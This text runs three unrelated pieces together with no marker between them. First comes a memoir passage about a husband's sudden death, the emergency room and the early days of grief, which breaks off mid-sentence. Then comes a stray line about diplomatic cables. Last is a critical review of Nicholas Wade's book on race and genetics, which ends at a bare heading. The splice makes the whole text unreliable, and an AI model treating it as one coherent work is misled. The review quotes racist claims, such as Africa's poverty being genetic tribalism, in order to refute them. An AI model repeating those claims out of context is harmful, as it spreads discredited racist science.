When the decision was made to move it happened very fast. I followed them to the elevator and asked if I could go with them. They said they were taking the gurney down first, I could go in the second ambulance. One of them waited with me for the elevator to come back up. By the time he and I got into the second ambulance, the ambulance carrying the gurney was pulling away from the front of the building. The distance from our building to the part of New York-Presbyterian that used to be New York Hospital is six crosstown blocks. I have no memory of sirens. I have no memory of traffic. When we arrived at the emergency entrance to the hospital the gurney was already disappearing into the building. A man was waiting in the driveway. Everyone else in sight was wearing scrubs. He was not. "Is this the wife?" he said to the driver, then turned to me. "I'm your social worker," he said, and I guess that is when I must have known.
"I opened the door and I seen the man in the dress greens and I knew. I immediately knew." This was what the mother of a 19-year-old killed by a bomb in Kirkuk said in a documentary produced by The New York Times and HBO, quoted by Bob Herbert on the morning of November 12, 2004. "But I thought that if, as long as I didn't let him in, he couldn't tell me. And then it - none of that would've happened. So he kept saying, 'Ma'am, I need to come in.' And I kept telling him, 'I'm sorry, but you can't come in."'
When I read this at breakfast almost 11 months after the night with the ambulance and the social worker, I recognized the thinking as my own.
Inside the emergency room I could see the gurney being pushed into a cubicle, propelled by more people in scrubs. Someone told me to wait in the reception area. I did. There was a line for admittance paperwork. Waiting in the line seemed the constructive thing to do. Waiting in the line said that there was still time to deal with this, I had copies of the insurance cards in my handbag, this was not a hospital I had ever negotiated - New York Hospital was the Cornell part of New York-Presbyterian, the part I knew was the Columbia part, Columbia-Presbyterian, at 168th and Broadway, 20 minutes away at best, too far in this kind of emergency - but I could make this unfamiliar hospital work, I could be useful, I could arrange the transfer to Columbia-Presbyterian once he was stabilized. I was fixed on the details of this imminent transfer to Columbia (he would need a bed with telemetry, eventually I could also get Quintana transferred to Columbia, the night she was admitted to Beth Israel North I had written on a card the beeper numbers of several Columbia doctors, one or another of them could make all this happen) when the social worker reappeared and guided me from the paperwork line into an empty room off the reception area. "You can wait here," he said. I waited. The room was cold, or I was. I wondered how much time had passed between the time I called the ambulance and the arrival of the paramedics. It had seemed no time at all (a mote in the eye of God was the phrase that came to me in the room off the reception area), but it must have been at the minimum several minutes.
I used to have on a bulletin board in my office, for reasons having to do with a plot point in a movie, a pink index card on which I had typed a sentence from "The Merck Manual" about how long the brain can be deprived of oxygen. The image of the pink index card was coming back to me in the room off the reception area: "Tissue anoxia for > 4 to 6 min. can result in irreversible brain damage or death." I was telling myself that I must be misremembering the sentence when the social worker reappeared. He had with him a man he introduced as "your husband's doctor." There was a silence. "He's dead, isn't he," I heard myself say to the doctor. The doctor looked at the social worker. "It's O.K.," the social worker said. "She's a pretty cool customer." They took me into the curtained cubicle where John lay, alone now. They asked if I wanted a priest. I said yes. A priest appeared and said the words. I thanked him. They gave me the silver clip in which John kept his driver's license and credit cards. They gave me the cash that had been in his pocket. They gave me his watch. They gave me his cellphone. They gave me a plastic bag in which they said I would find his clothes. I thanked them. The social worker asked if he could do anything more for me. I said he could put me in a taxi. He did. I thanked him. "Do you have money for the fare?" he asked. I said I did, the cool customer. When I walked into the apartment and saw John's jacket and scarf still lying on the chair where he had dropped them when we came in from seeing Quintana at Beth Israel North (the red cashmere scarf, the Patagonia windbreaker that had been the crew jacket on "Up Close and Personal"), I wondered what an uncool customer would be allowed to do. Break down? Require sedation? Scream?
I remember thinking that I needed to discuss this with John.
There was nothing I did not discuss with John.
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Because we were both writers and both worked at home, our days were filled with the sound of each other's voices.
I did not always think he was right nor did he always think I was right but we were each the person the other trusted. There was no separation between our investments or interests in any given situation. Many people assumed that we must be, since sometimes one and sometimes the other would get the better review, the bigger advance, in some way "competitive," that our private life must be a minefield of professional envies and resentments. This was so far from the case that the general insistence on it came to suggest certain lacunae in the popular understanding of marriage.
That had been one more thing we discussed.
What I remember about the apartment the night I came home alone from New York Hospital was its silence.
In the plastic bag I had been given at the hospital there were a pair of corduroy pants, a wool shirt, a belt and I think nothing else. The legs of the corduroy pants had been slit open, I supposed by the paramedics. There was blood on the shirt. The belt was braided. I remember putting his cellphone in the charger on his desk. I remember putting his silver clip in the box in the bedroom in which we kept passports and birth certificates and proof of jury service. I look now at the clip and see that these were the cards he was carrying: a New York State driver's license, due for renewal on May 25, 2004; a Chase A.T.M. card; an American Express card; a Wells Fargo MasterCard; a Metropolitan Museum card; a Writers Guild of America, West, card (it was the season before Academy voting, when you could use a W.G.A.W. card to see movies free, he must have gone to a movie, I did not remember); a Medicare card; a MetroCard; and a card issued by Medtronic with the legend "I have a Kappa 900 SR pacemaker implanted," the serial number of the device, a number to call for the doctor who implanted it and the notation "Implant Date: 03 Jun 2003." I remember combining the cash that had been in his pocket with the cash in my own bag, smoothing the bills, taking special care to interleaf twenties with twenties, tens with tens, fives and ones with fives and ones. I remember thinking as I did this that he would see that I was handling things.
When i saw him in the curtained cubicle in the emergency room at New York Hospital there was a chip in one of his front teeth, I supposed from the fall, since there were also bruises on his face. When I identified his body the next day for the undertaker the bruises were not apparent. It occurred to me that masking the bruises must have been what the undertaker meant when I said no embalming and he said, "In that case we'll just clean him up." The part with the undertaker remains remote. I had arrived to meet him so determined to avoid any inappropriate response (tears, anger, helpless laughter at the Oz-like hush) that I had shut down all response. After my mother died the undertaker who picked up her body left in its place on the bed an artificial rose. My brother had told me this, offended to the core. I would be armed against artificial roses. I remember making a brisk decision about a coffin. I remember that in the office where I signed the papers there was a grandfather clock, not running. John's nephew Tony, who was with me, mentioned to the undertaker that the clock was not running. The undertaker, as if pleased to elucidate a decorative element, explained that the clock had not run in some years but was retained as "a kind of memorial" to a previous incarnation of the firm. He seemed to be offering the clock as a lesson. I concentrated on Quintana. I could shut out what the undertaker was saying, but I could not shut out the lines I was hearing as I concentrated on Quintana: Full fathom five thy father lies....Those are pearls that were his eyes.
Eight months later I asked the manager of our apartment building if he still had the log kept by the doormen for the night of December 30. I knew there was a log, I had been for three years president of the board of the building, the door log was intrinsic to building procedure. The next day the manager sent me the page for December 30. According to the log, the doormen that night were Michael Flynn and Vasile Ionescu. I had not remembered that. Vasile Ionescu and John had a routine with which they amused themselves in the elevator, a small game, between an exile from Ceaucescu's Romania and an Irish Catholic from West Hartford, Conn., based on a shared appreciation of political posturing. "So where is bin Laden?" Vasile would say when John got onto the elevator, the point being to come up with ever more improbable suggestions: "Could bin Laden be in the penthouse?" "In the maisonette?" "In the fitness room?" When I saw Vasile's name on the log, it occurred to me that I could not remember if he had initiated this game when we came in from Beth Israel North in the early evening of December 30. The log for that evening showed only two entries, fewer than usual, even for a time of the year when most people in the building left for more clement venues: "NOTE: - Paramedics arrived at 9:20 p.m. for Mr. Dunne. Mr. Dunne was taken to hospital at 10:05 p.m. NOTE: - Light bulb out on A-B passenger elevator."
The A-B elevator was our elevator, the elevator in which the paramedics came up at 9:20 p.m., the elevator in which they took John (and me) downstairs to the ambulance at 10:05 p.m., the elevator in which I returned alone to our apartment at a time not noted. I had not noticed a light bulb being out in the elevator. Nor had I noticed that the paramedics were in the apartment for 45 minutes. I had always described it as "15 or 20 minutes." If they were here that long does it mean that he was alive? I put this question to a doctor I knew. "Sometimes they'll work that long," he said. It was a while before I realized that this in no way addressed the question.
The death certificate, when I got it, gave the time of death as 10:18 p.m., December 30, 2003.
I had been asked before I left the hospital if I would authorize an autopsy. I had said yes. I later read that asking a survivor to authorize an autopsy is seen in hospitals as delicate, sensitive, often the most difficult of the routine steps that follow a death. Doctors themselves, according to many studies (for example, Katz, J., and Gardner, R., "The Intern's Dilemma: The Request for Autopsy Consent," Psychiatry in Medicine 3:197203, 1972), experience considerable anxiety about making the request. They know that autopsy is essential to the learning and teaching of medicine, but they also know that the procedure touches a primitive dread. If whoever it was at New York Hospital who asked me to authorize an autopsy experienced such anxiety, I could have spared him or her: I actively wanted an autopsy. I actively wanted an autopsy even though I had seen some, in the course of doing research. I knew exactly what occurred, the chest open like a chicken in a butcher's case, the face peeled down, the scale on which the organs are weighed. I had seen homicide detectives avert their eyes from an autopsy in progress. I still wanted one. I needed to know how and why and when it had happened. In fact I wanted to be in the room when they did it (I had watched those other autopsies with John, I owed him his own, it was fixed in my mind at that moment that he would be in the room if I were on the table), but I did not trust myself to rationally present the point so I did not ask.
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If the ambulance left our building at 10:05 p.m., and death was declared at 10:18 p.m., the 13 minutes in between were just bookkeeping, bureaucracy, making sure the hospital procedures were observed and the paperwork was done and the appropriate person was on hand to do the sign-off, inform the cool customer.
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The sign-off, I later learned, was called the "pronouncement," as in "Pronounced: 10:18 p.m."
I had to believe he was dead all along.
If I did not believe he was dead all along I would have thought I should have been able to save him.
Until I saw the autopsy report I continued to think this anyway, an example of delusionary thinking, the omnipotent variety.
A week or two before he died, when we were having dinner in a restaurant, John asked me to write something in my notebook for him. He always carried cards on which to make notes, three-by-six-inch cards printed with his name that could be slipped into an inside pocket. At dinner he had thought of something he wanted to remember, but when he looked in his pockets he found no cards. I need you to write something down, he said. It was, he said, for his new book, not for mine, a point he stressed because I was at the time researching a book that involved sports. This was the note he dictated: "Coaches used to go out after a game and say, 'You played great.' Now they go out with state police, as if this were a war and they the military. The militarization of sports." When I gave him the note the next day, he said, "You can use it if you want to."
What did he mean?
Did he know he would not write the book?
Did he have some apprehension, a shadow? Why had he forgotten to bring note cards to dinner that night? Had he not warned me when I forgot my own notebook that the ability to make a note when something came to mind was the difference between being able to write and not being able to write? Was something telling him that night that the time for being able to write was running out?
One summer when we were living in Brentwood Park we fell into a pattern of stopping work at 4 in the afternoon and going out to the pool. He would stand in the water reading (he reread "Sophie's Choice" several times that summer, trying to see how it worked) while I worked in the garden. It was a small, even miniature, garden with gravel paths and a rose arbor and beds edged with thyme and santolina and feverfew. I had convinced John a few years before that we should tear out a lawn to plant this garden. To my surprise, since he had shown no previous interest in gardens, he regarded the finished product as an almost mystical gift. Just before 5 on those summer afternoons we would swim and then go into the library wrapped in towels to watch "Tenko," a BBC series, then in syndication, about a number of satisfyingly predictable English women (one was immature and selfish, another seemed to have been written with Mrs. Miniver in mind) imprisoned by the Japanese in Malaya during World War II. After each afternoon's "Tenko" segment we would go upstairs and work another hour or two, John in his office at the top of the stairs, me in the glassed-in porch across the hall that had become my office. At 7 or 7:30 we would go out to dinner, many nights at Morton's. Morton's felt right that summer. There was always shrimp quesadilla, chicken with black beans. There was always someone we knew. The room was cool and polished and dark inside but you could see the twilight outside.
John did not like driving at night by then. This was one reason, I later learned, that he wanted to spend more time in New York, a wish that at the time remained mysterious to me. One night that summer he asked me to drive home after dinner at Anthea Sylbert's house on Camino Palmero in Hollywood. I remember thinking how remarkable this was. Anthea lived less than a block from the house on Franklin Avenue in which we had lived from 1967 until 1971, so it was not a question of reconnoitering a new neighborhood. It had occurred to me as I started the ignition that I could count on my fingers the number of times I had driven when John was in the car; the single other time I could remember that night was once spelling him on a drive from Las Vegas to Los Angeles. He had been dozing in the passenger seat of the Corvette we then had. He had opened his eyes. After a moment he had said, very carefully, "I might take it a little slower." I had no sense of unusual speed and glanced at the speedometer: I was doing 120.
Yet.
A drive across the Mojave was one thing. There was no previous time when he asked me to drive home from dinner in town: this evening on Camino Palmero was unprecedented. So was the fact that at the end of the 40-minute drive to Brentwood Park, he pronounced it "well driven."
He mentioned those afternoons with the pool and the garden and "Tenko" several times during the year before he died.
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Philippe Ariès, in "The Hour of Our Death," points out that the essential characteristic of death as it appears in the "Chanson de Roland" is that the death, even if sudden or accidental, "gives advance warning of its arrival." Gawain is asked: "Ah, good my lord, think you then so soon to die?" Gawain answers: "I tell you that I shall not live two days." Ariès notes: "Neither his doctor nor his friends nor the priests (the latter are absent and forgotten) know as much about it as he. Only the dying man can tell how much time he has left."
You sit down to dinner.
"You can use it if you want to," John had said when I gave him the note he had dictated a week or two before.
And then - gone.
Grief, when it comes, is nothing we expect it to be. It was not what I felt when my parents died: my father died a few days short of his 85th birthday and my mother a month short of her 91st, both after some years of increasing debility. What I felt in each instance was sadness, loneliness (the loneliness of the abandoned child of whatever age), regret for time gone by, for things unsaid, for my inability to share or even in any real way to acknowledge, at the end, the pain and helplessness and physical humiliation they each endured. I understood the inevitability of each of their deaths. I had been expecting (fearing, dreading, anticipating) those deaths all my life. They remained, when they did occur, distanced, at a remove from the ongoing dailiness of my life. After my mother died I received a letter from a friend in Chicago, a former Maryknoll priest, who precisely intuited what I felt. The death of a parent, he wrote, "despite our preparation, indeed, despite our age, dislodges things deep in us, sets off reactions that surprise us and that may cut free memories and feelings that we had thought gone to ground long ago. We might, in that indeterminate period they call mourning, be in a submarine, silent on the ocean's bed, aware of the depth charges, now near and now far, buffeting us with recollections."
My father was dead, my mother was dead, I would need for a while to watch for mines, but I would still get up in the morning and send out the laundry.
I would still plan a menu for Easter lunch.
I would still remember to renew my passport.
Grief is different. Grief has no distance. Grief comes in waves, paroxysms, sudden apprehensions that weaken the knees and blind the eyes and obliterate the dailiness of life. Virtually everyone who has ever experienced grief mentions this phenomenon of "waves." Erich Lindemann, who was chief of psychiatry at Massachusetts General Hospital in the 1940's and interviewed many family members of those killed in the 1942 Cocoanut Grove fire, defined the phenomenon with absolute specificity in a famous 1944 study: "sensations of somatic distress occurring in waves lasting from 20 minutes to an hour at a time, a feeling of tightness in the throat, choking with shortness of breath, need for sighing and an empty feeling in the abdomen, lack of muscular power and an intense subjective distress described as tension or mental pain."
Tightness in the throat.
Choking, need for sighing.
Such waves began for me on the morning of December 31, 2003, seven or eight hours after the fact, when I woke alone in the apartment. I do not remember crying the night before; I had entered at the moment it happened a kind of shock in which the only thought I allowed myself was that there must be certain things I needed to do. There had been certain things I had needed to do while the ambulance crew was in the living room. I had needed for example to get the copy of John's medical summary, so I could take it with me to the hospital. I had needed for example to bank the fire, because I would be leaving it. There had been certain things I had needed to do at the hospital. I had needed for example to stand in the line. I had needed for example to focus on the bed with telemetry he would need for the transfer to Columbia-Presbyterian.
Once I got back from the hospital there had again been certain things I needed to do. I could not identify all of these things, but I did know one of them: I needed, before I did anything else, to tell John's brother Nick. It had seemed too late in the evening to call their older brother Dick on Cape Cod (he went to bed early, his health had not been good, I did not want to wake him with bad news) but I needed to tell Nick. I did not plan how to do this. I just sat on the bed and picked up the phone and dialed the number of his house in Connecticut. He answered. I told him. After I put down the phone, in what I can only describe as a new neural pattern of dialing numbers and saying the words, I picked it up again. I could not call Quintana (she was still where we had left her a few hours before, unconscious in the I.C.U. at Beth Israel North), but I could call Gerry, her husband of five months, and I could call my brother, Jim, who would be at his house in Pebble Beach. Gerry said he would come over. I said there was no need to come over, I would be fine. Jim said he would get a flight. I said there was no need to think about a flight, we would talk in the morning. I was trying to think what to do next when the phone rang. It was John's and my agent, Lynn Nesbit, a friend since I suppose the late 60's. It was not clear to me at the time how she knew but she did (it had something to do with a mutual friend to whom both Nick and Lynn seemed in the last minute to have spoken), and she was calling from a taxi on her way to our apartment. At one level I was relieved (Lynn knew how to manage things, Lynn would know what it was that I was supposed to be doing) and at another I was bewildered: how could I deal at this moment with company? What would we do, would we sit in the living room with the syringes and the ECG electrodes and the blood still on the floor, should I rekindle what was left of the fire, would we have a drink, would she have eaten?
Had I eaten?
The instant in which I asked myself whether I had eaten was the first intimation of what was to come: if I thought of food, I learned that night, I would throw up.
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Lynn arrived.
We sat in the part of the living room where the blood and electrodes and syringes were not.
I remember thinking as I was talking to Lynn (this was the part I could not say) that the blood must have come from the fall: he had fallen on his face, there was the chipped tooth I had noticed in the emergency room, the tooth could have cut the inside of his mouth.
Lynn picked up the phone and said that she was calling Christopher.
This was another bewilderment: the Christopher I knew best was in either Paris or Dubai and in any case Lynn would have said Chris, not Christopher. I found my mind veering to the autopsy. It could even be happening as I sat there. Then I realized that the Christopher to whom Lynn was talking was Christopher Lehmann-Haupt at The New York Times. I remember a sense of shock. I wanted to say not yet but my mouth had gone dry. I could deal with "autopsy" but the notion of "obituary" had not occurred to me. "Obituary," unlike "autopsy," which was between me and John and the hospital, meant it had happened. I found myself wondering, with no sense of illogic, if it had also happened in Los Angeles. I was trying to work out what time it had been when he died and whether it was that time yet in Los Angeles. (Was there time to go back? Could we have a different ending on Pacific time?) I recall being seized by a pressing need not to let anyone at The Los Angeles Times learn what had happened by reading it in The New York Times. I called our closest friend at The Los Angeles Times. I have no memory of what Lynn and I did then. I remember her saying that she would stay the night, but I said no, I would be fine alone.
And I was.
Until the morning. When, only half awake, I tried to think why I was alone in the bed. There was a leaden feeling. It was the same leaden feeling with which I woke on mornings after John and I had fought. Had we had a fight? What about, how had it started, how could we fix it if I could not remember how it started?
Then I remembered.
For several weeks that would be the way I woke to the day.
I wake and feel the fell of dark, not day.
One of several lines from different poems by Gerard Manley Hopkins that John strung together during the months immediately after his younger brother committed suicide, a kind of improvised rosary.
O the mind, mind has mountains; cliffs of fall
Frightful, sheer, no-man-fathomed. Hold them cheap
May who ne'er hung there.
I wake and feel the fell of dark, not day.
And I have asked to be
Where no storms come.
I see now that my insistence on spending that first night alone was more complicated than it seemed, a primitive instinct. Of course I knew John was dead. Of course I had already delivered the definitive news to his brother and to my brother and to Quintana's husband. The New York Times knew. The Los Angeles Times knew. Yet I was myself in no way prepared to accept this news as final: there was a level on which I believed that what had happened remained reversible. That was why I needed to be alone.
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After that first night I would not be alone for weeks (Jim and his wife would fly in from California the next day, Nick would come back to town, Tony and his wife would come down from Connecticut, José would not go to Las Vegas, our assistant Sharon would come back from skiing, there would never not be people in the house), but I needed that first night to be alone.
I needed to be alone so that he could come back.
Grief turns out to be a place none of us know until we reach it. We anticipate (we know) that someone close to us could die, but we do not look beyond the few days or weeks that immediately follow such an imagined death. We misconstrue the nature of even those few days or weeks. We might expect if the death is sudden to feel shock. We do not expect this shock to be obliterative, dislocating to both body and mind. We might expect that we will be prostrate, inconsolable, crazy with loss. We do not expect to be literally crazy, cool customers who believe that their husband is about to return. In the version of grief we imagine, the model will be "healing." A certain forward movement will prevail. The worst days will be the earliest days. We imagine that the moment to most severely test us will be the funeral, after which this hypothetical healing will take place.
When we anticipate the funeral we wonder about failing to "get through it," to rise to the occasion, exhibit the "strength" that invariably gets mentioned as the correct response to death. We anticipate needing to steel ourselves for the moment: will I be able to greet people, will I be able to leave the scene, will I be able even to get dressed that day? We have no way of knowing that this will not be the issue. We have no way of knowing that the funeral itself will be anodyne, a kind of narcotic regression in which we are wrapped in the care of others and the gravity and meaning of the occasion. Nor can we know ahead of the fact (and here lies the heart of the difference between grief as we imagine it and grief as it is) the unending absence that follows, the void, the very opposite of meaning, the relentless succession of moments during which we will confront the experience of meaninglessness itself.
As a child I thought a great deal about meaninglessness, which seemed at the time the most prominent negative feature on the horizon. After a few years of failing to find meaning in the more commonly recommended venues I learned that I could find it in geology, so I did. This in turn enabled me to find meaning in the Episcopal litany, most acutely in the words "as it was in the beginning, is now and ever shall be, world without end," which I interpreted as a literal description of the constant changing of the earth, the unending erosion of the shores and mountains, the inexorable shifting of the geological structures that could throw up mountains and islands and could just as reliably take them away. I found earthquakes, even when I was in them, deeply satisfying, abruptly revealed evidence of the scheme in action. That the scheme could destroy the works of man might be a personal regret but remained, in the larger picture I had come to recognize, a matter of abiding indifference. No eye was on the sparrow. No one was watching me. As it was in the beginning, is now and ever shall be, world without end. On the day it was announced that the atomic bomb had been dropped on Hiroshima, those were the words that came immediately to my 10-year-old mind. When I heard a few years later about mushroom clouds over the Nevada test site, those were again the words that came to mind. I began waking before dawn, imagining that the fireballs from the Nevada test shots would light up the sky in Sacramento.
Later, after I married and had a child, I learned to find equal meaning in the repeated rituals of domestic life. Setting the table. Lighting the candles. Building the fire. Cooking. All those soufflés, all that crème caramel, all those daubes and albóndigas and gumbos. Clean sheets, stacks of clean towels, hurricane lamps for storms, enough water and food to see us through whatever geological event came our way. These fragments I have shored against my ruins, were the words that came to mind then. These fragments mattered to me. I believed in them. That I could find meaning in |
relation to the military review, saying he was confident that he could handle any questions.
Earlier cables have revealed that both countries planned to keep the military review secret.20 Min read time Share:
Nicholas Wade's A Troublesome Inheritance is scientifically dubious and blind to its racist implications.
A Troublesome Inheritance: Genes, Race and Human History
By Nicholas Wade
In his latest book, Nicholas Wade, a longtime science journalist, argues that evolution by natural selection created human races with different genetic predispositions for social behavior. As races evolved following divergent migrations out of Africa, their social behavior diverged and became written in their genes. This divergence fueled the development of disparate societal institutions, leading to contemporary inequalities between rich and poor countries according to their adaptability to modern economic imperatives. In Wade’s telling, the Caucasian and East Asian races comprise the richest and most powerful nations in the world because they are genetically better adapted to success in modern capitalist systems than are Africans and the other racial groups, who remain steeped in tribalism, the “default” human condition.
We might know all this already, Wade claims, if it were not for politically correct gatekeepers who are afraid to discuss the realities of genetic forces underlying racial differences. Of course, Wade says, no one wants to reignite the racism that gave us social Darwinism, eugenics, and the Holocaust, but enough with taboos. It is time to move on to a scientific examination of how genes explain racial differences.
The book has nothing to do with racial superiority, Wade assures us. Unless you consider economic, political, and cultural success—thanks to your genes—an indicator of superiority. It is a hard assurance to accept from a needlessly defensive book riddled with scientific errors, deaf to better-supported theories, and willfully blind to its own implications.
Telling Mistakes
It is not my goal to debunk every scientific flaw in A Troublesome Inheritance, but a couple examples should be sufficient to demonstrate that Wade is not only an unreliable guide through contemporary genomic research, but that science does not support his case.
It is essential to Wade’s story that readers reject the widely held belief that humans ceased evolving before the dawn of recorded history. The truth is that “human evolution has been recent, copious and regional.”
Wade plants his flag with the first cited fact in the book, with unfortunate (for him) results: “No less than 14% of the human genome, according to one estimate, has changed under this recent evolutionary pressure.” He repeats this number twice. But what does it mean? Studies of the human genome have identified traces of selection pressure in patterns of genetic variation. Their results vary, but “if one takes just the regions marked by any two of the scans, then 722 regions, containing some 2,465 genes, have been under pressure of natural selection.” That “amounts to 14% of the genome.”
His source is a 2009 review article by the geneticist Joshua Akey, but Wade reads it wrong. It is not 14 percent of the genome that is under selection in two studies. Rather, because there are a lot of false positives, 14 percent of regions identified as under selection in any study were also identified in a second study. The number Wade wants—the portion of the genome found in at least two studies to have been under pressure of natural selection—is 8 percent. The error suggests a glib reader cherry-picking statistics without really grasping the science.
Wade’s assertion about recent human evolution is important because he thinks genes determine social behaviors that we know are relatively new. Despite occasional caveats about the relative importance of culture, he repeatedly returns to the idea of “genes governing social behavior,” and “social behavior... under genetic control.”
To establish that genes determine social behavior, Wade looks to ancient history, when humans first settled in agricultural communities. “Most likely a shift in social behavior was required,” he writes, “a genetic change that reduced the level of aggressivity common in hunter-gatherer groups.” Of course, many elements were involved—climate change and geography, population pressure, the presence of various plants and animals, advances in tools and weapons, and human biological evolution—but there is no evidence that a behavioral genetic change was required.
Wade cites no scholarship on this point. However, he declares that reduced aggression may be deduced from the thinning of human bones. As people became more social, they fought less, so having strong bones conferred less of a survival advantage. He speculates that in the centuries leading up to settled societies “the most bellicose members of the society were perhaps killed or ostracized.”
I failed to find Wade’s missing citation on a link between reduced aggression and weak bones. More likely, the declining “habitual load” on human limbs resulting from lifestyle and technology changes is the precursor to thinning bones, and this can happen within a person’s lifetime rather than through genetic adaptation over generations. Other researchers favor genetic adaptation to climate change as an explanation for early human bone evolution.
Wade anchors his story in a behavioral genetic change because he needs to build a case that social behavior is selected genetically, to justify his racial theory. “The individuals whose social behavior is better attuned to social institutions will prosper and leave more children, and genetic variations that underlie such a behavior will become more common.” Despite the confident tone, this is only speculation.
Can we explain dramatic social change without behavioral genetic evolution? Of course; we do it all the time. Consider, for example, the historically recent population explosions of religious sects such as Mormons and Orthodox Jews. The mechanisms for this kind of change are well established by modern social science. By contrast, the genetic mechanisms for social change, Wade admits, “have yet to be identified.”
Race and Evolution
Some people confuse the concept of “social construction” with the idea that race doesn’t exist. We need to dispel that confusion for two reasons.
First, at the risk of stating the obvious, things that are socially constructed do exist; they are just outcomes of social, as opposed to biological, forces. The vast, persistent, life-and-death consequences of race certainly are real. But the social nature of race can be hard to grasp because physical characteristics are in play. It is critical to appreciate that while racially salient characteristics—skin color, eye shape, hair texture, etc.—are products of biological difference, they are invested with meanings that don’t arise from biology: people identified by different physical characteristics are presumed to be inherently different—and hierarchically ranked—and these assumptions produce racial inequality, which reproduces socially. Game-theory simulations by sociologist Quincy Thomas Stewart show that the influence of a small number of racists can perpetuate racial inequality indefinitely through learning and memory even without ongoing racial animus.
There is little reason to believe that natural selection is a major source of social change.
Second, we need to dispel the idea that races don’t exist, because there is a real genetics to human variation around the world. Probably most of the variation that emerged over thousands of years of separation was a result of random coding errors that stuck for no good reason. However, some, such as skin color, were the results of moving between climate zones; some, such as lactose tolerance, allowed people to stomach different diets; and some, such as unusually high susceptibility to sickle cell disease among those who developed one kind of resistance to malaria, were coincidental byproducts of helpful adaptations. We don’t have to use the word “race” to describe genetically diverse groups, but genetic diversity is worth understanding.
The notion of underlying racial groups may be better encompassed by the idea of identity categories. Such categories do relate to genetic clustering; the sociologist Guang Guo and his colleagues have published new research confirming this. Americans’ continental genetic ancestries, Guo finds, mostly match their self-identified racial classification. But this doesn’t tell us that race is in our genes. Consider that when survey respondents were forced to identify with only one race, those of mixed African and European ancestry usually identified as black, following the “one-drop” rule, a political, not a biological, creation.
African Americans—the descendants of African slaves and Americans of European origin—are a recently formed group with ancestors from several places. This is no different from other ancestry groups created over the millennia, some of whom mixed freely, some under duress, some as migrants, some as conquerors. This creating of new, overlapping blends of humanity, as much as the definition and labeling of categories, is also a source of the social construction of race.
Descent into Racism
According to Wade, it is reasonable to assume that
if traits like skin color have evolved in a population, the same may be true of its social behavior, and hence the very different kinds of society seen in the various races and in the world’s great civilizations differ not just because of their received culture... but also because of variations in the social behavior of their members, carried down in their genes.
Here Wade departs from the great majority of the scientific community and joins the grand tradition of scientific racism. As Guo wrote in an email to me, “There are some genetic markers that can separate groups of people that lived separately for a long time, but there is hardly any evidence for genetic differences in behavior across races.”
Wade occasionally acknowledges that the dividing lines between races are arbitrary and the number of categories is a matter of judgment. However, the disparities he is trying to explain—the differences between the civilizations of Caucasians (the standard to which others are held), East Asians (smart but lacking creativity), and Africans (locked in tribalism)—require a clear racial demarcation. He thus insists on discussing these three “major” races, while acknowledging five “continental” races—those three, plus Pacific Islanders and Native Americans, which he rarely mentions.
To get his racial categories, Wade relies on a 2008 study that examined the DNA of 938 people from fifty-one populations around the world, identifying seven statistical clusters of genetic variation. However, only six of the fifty-one populations were from sub-Saharan Africa, a weakness the authors, but not Wade, acknowledge. This is the beginning of Wade’s mistreatment of Africa.
Why is all of sub-Saharan Africa considered one racial group? The answer is social, not biological. Africa, as the source of modern humans, has the greatest genetic variation of any region. But to see the breadth of that diversity, you have to look for it. Wade cites a 2009 global DNA analysis by Sarah Tishkoff and colleagues, which included samples from 121 different populations in Africa as well as 60 from around the world. On a global scale, there were fourteen clusters of genetic variation, nine of which were African. That is, nine different groups within Africa were delineated with specificity comparable to that seen separating Europe, Asia, and the Americas.
The vast diversity within Africa should warn Wade away from lumping Africans into one racial category, but he does so without reservation in most of the book and has continued to in a defense of his work.
With Africa reduced to a single racial category, Wade commences explaining why genes cause its problems. Africans did not “develop the ingrained behaviors of trust, nonviolence and thrift that a productive economy requires.” To advance, they need “the transformation of a population’s traits from the violent, short-term, impulsive behavior typical of many hunter-gatherer and tribal societies into the more disciplined, future-oriented behavior seen in East Asian societies” and in the West.
The failure of “Africa” to evolve the necessary traits for success in our modern world is not for lack of resources, since “the West has spent some $2.3 trillion in aid over the last fifty years without managing to improve African living standards.” Rather, after colonialism, Wade writes, Africa “reverted to the kind of social system to which Africans had become adapted during the previous centuries.” By “adapted,” he means “genetically adapted,” a point made explicit at the beginning of the book.
“Though it was justifiable at first to blame the evils of colonialism,” he sighs, “two generations or more have now passed since most foreign powers withdrew from Africa and the Middle East, and the strength of this explanation has to some extent faded. Tribal behavior is more deeply ingrained than mere cultural prescriptions. Its longevity and stability point strongly to a genetic basis.”
Obviously, Wade offers no evidence to support his genetic story of Africa’s poverty because none exists. In the absence of evidence, Wade resorts to homicide statistics. Most countries in sub-Saharan Africa have higher homicide rates than the rich countries, which he calls “a difference that does not prove but surely allows room for a genetic contribution to greater violence in the less developed world.” This contradicts the basic logic of science. As the biologist H. Allen Orr points out in his devastating review, the existence of a difference is not evidence for any one cause of that difference.
Violent Genes
Wade devotes considerable attention to MAO-A, the gene that encodes the enzyme monoamine oxidase A, which is related to aggression. He singles out studies showing that a rare version of the gene is associated with violence in U.S. male adolescents. Out of 1,200 young men surveyed in the National Longitudinal Study of Adolescent Health, eleven particularly violent young men carried the 2R version of MAO-A, subsequently known as the “warrior gene.” Nine of those eleven were African American, comprising 5 percent of the black male adolescents in the study.
Wade offers no evidence to support his genetic story of Africa’s poverty—because none exists.
Now Wade is off and running. He has a gene variant that is more common (though still rare) among black men and is associated with elevated rates of violence. Wade summarizes, “The wider point illustrated by the case of the MAO-A gene is that important aspects of human social behavior are shaped by the genes and that these behavior traits are likely to vary from one race to another, sometimes significantly so.” Later he calls it “one behavioral gene that... is known to vary between races and ethnic groups, and many more will doubtless come to light.”
This may be true. But it certainly overstates the strength of the case. Consider that, in the Adolescent Health data, black male adolescents were more than twice as likely as whites to report having committed an act of violence. If you found any gene that happened to be correlated with violence, chances are good it would also be correlated with race. Confirmation with more powerful genetic testing methods may strengthen this case in the future, but Wade’s inflated interpretation is not justified by the existing evidence.
Except for those nine violent African American adolescents, racial variation in the United States is strangely absent from Wade’s book. Why not look at people who move between societies? Beyond a nod to the success of Asian and Jewish immigrants, he says nothing about the upward mobility of those from poor countries, such as Hispanics or African Americans, whose tribal genes should, by his theory, make them fish out of water here. How can it be that Hispanic immigrants, after only a generation or two, have birth rates in line with the non-Hispanic U.S. population, or that the descendants of African slaves can now be so much richer than their cousins in Africa? A wide swath of research shows that “immigrants are largely assimilating into American society” in terms of socioeconomic status, residential distribution, language acquisition, and intermarriage. This seems like a natural test of the battle between genetic and cultural determination of social behavior, but Wade ignores it.
West Is Best
